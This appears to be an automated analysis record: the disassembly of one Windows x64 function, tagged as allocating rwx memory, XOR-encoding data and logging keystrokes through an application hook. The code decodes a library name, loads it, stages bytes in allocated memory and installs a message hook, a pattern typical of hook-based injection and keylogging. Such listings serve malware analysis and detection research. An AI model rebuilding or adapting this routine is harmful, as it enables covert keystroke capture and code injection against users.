Function at 0x140022aa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov r12, rdx
mov r15d, ecx
mov ecx, WSASetLastError
xor edx, edx
call fcn.140019d70
mov ecx, reloc.WS2_32.dll_WSACleanup
mov word [rbp - 0x30], ax
mov edx, 1
call fcn.140019d70
mov ecx, 0x64
mov word [rbp - 0x2e], ax
mov edx, 2
call fcn.140019d70
mov ecx, WSASetLastError
mov word [rbp - 0x2c], ax
mov edx, 3
call fcn.140019d70
mov ecx, WSASetLastError
mov word [rbp - 0x2a], ax
mov edx, 4
call fcn.140019d70
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov word [rbp - 0x28], ax
mov edx, 5
call fcn.140019d70
mov ecx, 0x64
mov word [rbp - 0x26], ax
mov edx, 6
call fcn.140019d70
mov ecx, WSASetLastError
mov word [rbp - 0x24], ax
mov edx, 7
call fcn.140019d70
mov ecx, WSASetLastError
mov word [rbp - 0x22], ax
mov edx, 8
call fcn.140019d70
xor ecx, ecx
mov word [rbp - 0x20], ax
mov edx, 9
call fcn.140019d70
movzx ecx, word [0x14007c2b4]
mov edx, 0xa
mov word [rbp - 0x1e], ax
call fcn.140019d70
movzx ecx, word [0x14007c2b6]
mov edx, listen
mov word [rbp - 0x1c], ax
call fcn.140019d70
movzx ecx, word [0x14007c2b8]
mov edx, recv
mov word [rbp - 0x1a], ax
call fcn.140019d70
movzx ecx, word [0x14007c2ba]
mov edx, reloc.WS2_32.dll_listen
mov word [rbp - 0x18], ax
call fcn.140019d70
movzx ecx, word [0x14007c2bc]
mov edx, reloc.WS2_32.dll_ntohl
mov word [rbp - 0x16], ax
call fcn.140019d70
movzx ecx, word [0x14007c2be]
mov edx, reloc.WS2_32.dll_ntohs
mov word [rbp - 0x14], ax
call fcn.140019d70
movzx ecx, word [0x14007c2c0]
mov edx, reloc.WS2_32.dll_recv
mov word [rbp - 0x12], ax
call fcn.140019d70
movzx ecx, word [0x14007c2c2]
mov edx, reloc.WS2_32.dll_recvfrom
mov word [rbp - 0x10], ax
call fcn.140019d70
movzx ecx, word [str.ctFunc]
mov edx, reloc.WS2_32.dll_select
mov word [rbp - 0xe], ax
call fcn.140019d70
movdqa xmm4, xmmword [0x14007bde0]
mov word [rbp - 0xc], ax
xor eax, eax
mov word [rbp - 0xa], ax
movdqa xmm5, xmmword [0x14007bdf0]
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
movsxd rdx, eax
lea ecx, [rax + 4]
movd xmm0, eax
movq xmm2, xmm5
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x30]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x30], xmm3
lea ecx, [rax + 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x28]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x28], xmm3
lea ecx, [rax + 0xc]
pshufd xmm0, xmm0, 0
add eax, 0x10
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x20]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x20], xmm3
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x18]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + rdx*2 - 0x18], xmm3
cmp eax, 0x10
jb 0x140022c60
cmp eax, 0x13
jae 0x140022d69
mov r8d, 0x133
nop
movsxd rcx, eax
lea rdx, [rbp - 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140022d50
lea rcx, [rbp - 0x30]
mov word [rbp - 0xa], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140019f60
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140019d80
mov edx, reloc.WLDAP32.dll_Ordinal_200
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov r13, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1400dca40]
lea r14, [r13 + 0x60]
mov rsi, rax
mov r8, r12
mov edx, 0x50
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dca50]
lea rcx, [rsi + 0x78]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400dca60]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400dca70]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1400dca80]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [0x1400dca90]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [reloc.WS2_32.dll_getsockname]
mov qword [rax + rsi], r14
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsi + 0x68], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call fcn.140019f60
mov r9d, reloc.WLDAP32.dll_Ordinal_200
mov r8, rsi
mov rdx, r13
mov rcx, rax
call fcn.140019fd0
mov r9d, r15d
mov r8, rbx
mov rdx, r13
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rsi + 0x60], 2
mov r12, rax
je 0x140022e90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r15d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140019f60
mov r9d, 0x68
lea r8, [rsi + 0x60]
mov rdx, r14
mov rcx, rax
call fcn.140019eb0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi + 0x60], 2
jne 0x140022e54
mov rbx, qword [rsi + 0x70]
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140019f60
mov rdx, r13
mov rcx, rax
call fcn.140019e20
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x50]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret